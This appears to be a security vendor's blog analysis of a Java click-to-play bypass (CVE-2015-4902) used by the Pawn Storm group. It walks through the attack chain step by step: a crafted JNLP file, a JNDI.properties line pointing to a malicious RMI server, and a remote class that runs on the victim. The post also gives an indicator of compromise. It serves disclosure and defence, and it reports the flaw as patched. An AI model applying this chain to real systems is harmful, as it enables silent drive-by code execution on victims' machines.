Several months ago, we disclosed that Pawn Storm was using a then-undiscovered zero-day Java vulnerability (CVE-2015-2590) to carry out its attacks. At the time, we noted that a separate vulnerability was used to bypass the click-to-play protection that is in use by Java. This second vulnerability (CVE-2015-4902) has now been patched by Oracle as part of its regular quarterly update, with credit given to Trend Micro for the discovery.

Click-to-play requires the user to click the space where the Java app would normally be displayed before it is executed. In effect, it asks the user if they are really sure they want to run any Java code.

Bypassing click-to-play protection allows for malicious Java code to run without any alert windows being shown. This was quite useful in Pawn Storm, as it used exploits targeting these vulnerabilities to carry out targeted attacks against North Atlantic Treaty Organization (NATO) members and the White House earlier this year. Pawn Storm itself is known for frequently using zero-day exploits: just last week it was discovered to be using an unpatched flaw in Adobe Flash as part of its attacks. (This vulnerability has since been fixed by Adobe.)

Oracle acknowledged this vulnerability once we privately disclosed this vulnerability. The method used to bypass this protection was quite ingenious; before we can discuss the vulnerability in full we need to discuss some background information first.

Oracle provides the Java Network Launch Protocol (JNLP) technique to allow applications to be launched on a client desktop using resources that are hosted on a remote web server. It can be used to deploying an applet or web start application. In the attack scenario, attack use JNLP deploy an applet.

To implement this, Java provides a directory service that allows Java software clients to discover and look up objects via a name. This is called the JNDI (Java Naming and Directory Interface). This mechanism is the basis of Java Remote Procedure call which is named RMI (Remote Method Invocation). JNDI has some base concepts which are related to this exploit, which are:

Context – a set of name-to-object bindings. In other words, the Context object can resolve a name to an object. This object has several types; RegistryContext is one of these types.

ContextFactory – a factory of context objects which will create a Context object for the caller. RegisterContextFactory is a factory to create ContextFactory objects.

The figure below shows how the exploit works:

Figure 1. How to bypass click-to-play

The attacker needs to carry out three tasks before the attack can be carried out:

Attacker adds the HTML code in Figure 2 to a malicious web site. Attacker creates a RMI registry server which has a public IP address. Attacker creates another web server to hold the malicious Java code, which also has a public IP address.

Figure 2. HTML code inserted into a malicious web site

Here is how the attack would proceed:

On the victim machine, the jp2launcher.exe process (part of the Java client) is forked by the web browser process and requests init.jnlp from a malicious webserver. This is done by the HTML code in Figure 2. (A .jnlp file is used by the Java Network Launch Protocol to launch Java code via the Java Web Start technology.) The malicious website sends back init.jnlp. Let’s take a look the contents of this file: Figure 3. Contents of init.jnlp The words in encircled in red are unusual. The meaning of the progress-class tag can be found from the Java developer’s guide. The class should be a implementation of the Java interface DownloadServiceListener. However, the attacker uses the class javax.naming.InitialContext. However, the JRE doesn’t check for this and lets the code execute. The Java class javax.naming.InitialContext‘s constructor will request the application’s JNDI.properties (JNDI configuration file) from the malicious web site. The malicious web server sends JNDI.properties to the client. Let’s take a look the content of this file: Figure 4. JNDI.properties contents java.naming.factory.initial specifies the initial context factory class. java.naming.provider.url specifies the location of registry service provider. javax.naming.InitialContext‘s constructor function will create the com.sun.jndi.rmi.registry.RegistryContextFactory object and use it to create initial context. During the creation of the initial context, it will communicate with the RMI Registry Server to get context information. In Figure 4, this is java.naming.provider.url=rmi://{malicious server}/Go. This URL uses the following format: rmi://[host]/[object]. So [object] is Go. This will allow the client to look up object information on the RMI server. The RMI server sends back its reply and allows the client to request the Go.class from the malicious Java class server via HTTP. Server sends Go.class content to the client, which instances it. The code in the Java class is executed on the target machine.

Steps 3 to 7 happen within javax.naming.InitialContext’s constructor function. This bypasses the click-to-play protection in a fairly clever manner.

If Java was still in widespread use today, the effects of a bypass of click-to-play protection would be far-reaching. Any zero-day vulnerability discovered down the road would allow for drive-by downloads to be carried out.

This case also highlights the importance of ensuring that when new security features (such as click-to-play) are introduced to a complex system like Java, it is a must to audit the communications of existing components with the new features. This is to ensure that existing “good” features and security are not lost in the mix.

This particular vulnerability has been fixed in the latest version of Java. Users who still need Java should download the latest version as soon as possible; however in many cases the use of Java can be slowly deprecated. Organizations still relying on Java should consider whether migrating to newer software platforms is an option for any applications still in regular use.

Indicators of Compromise

The SHA1 of the JNLP file that initiated this exploit chain is 38F643B48B35B765326CEE6A1D16E1C35DCA93FD.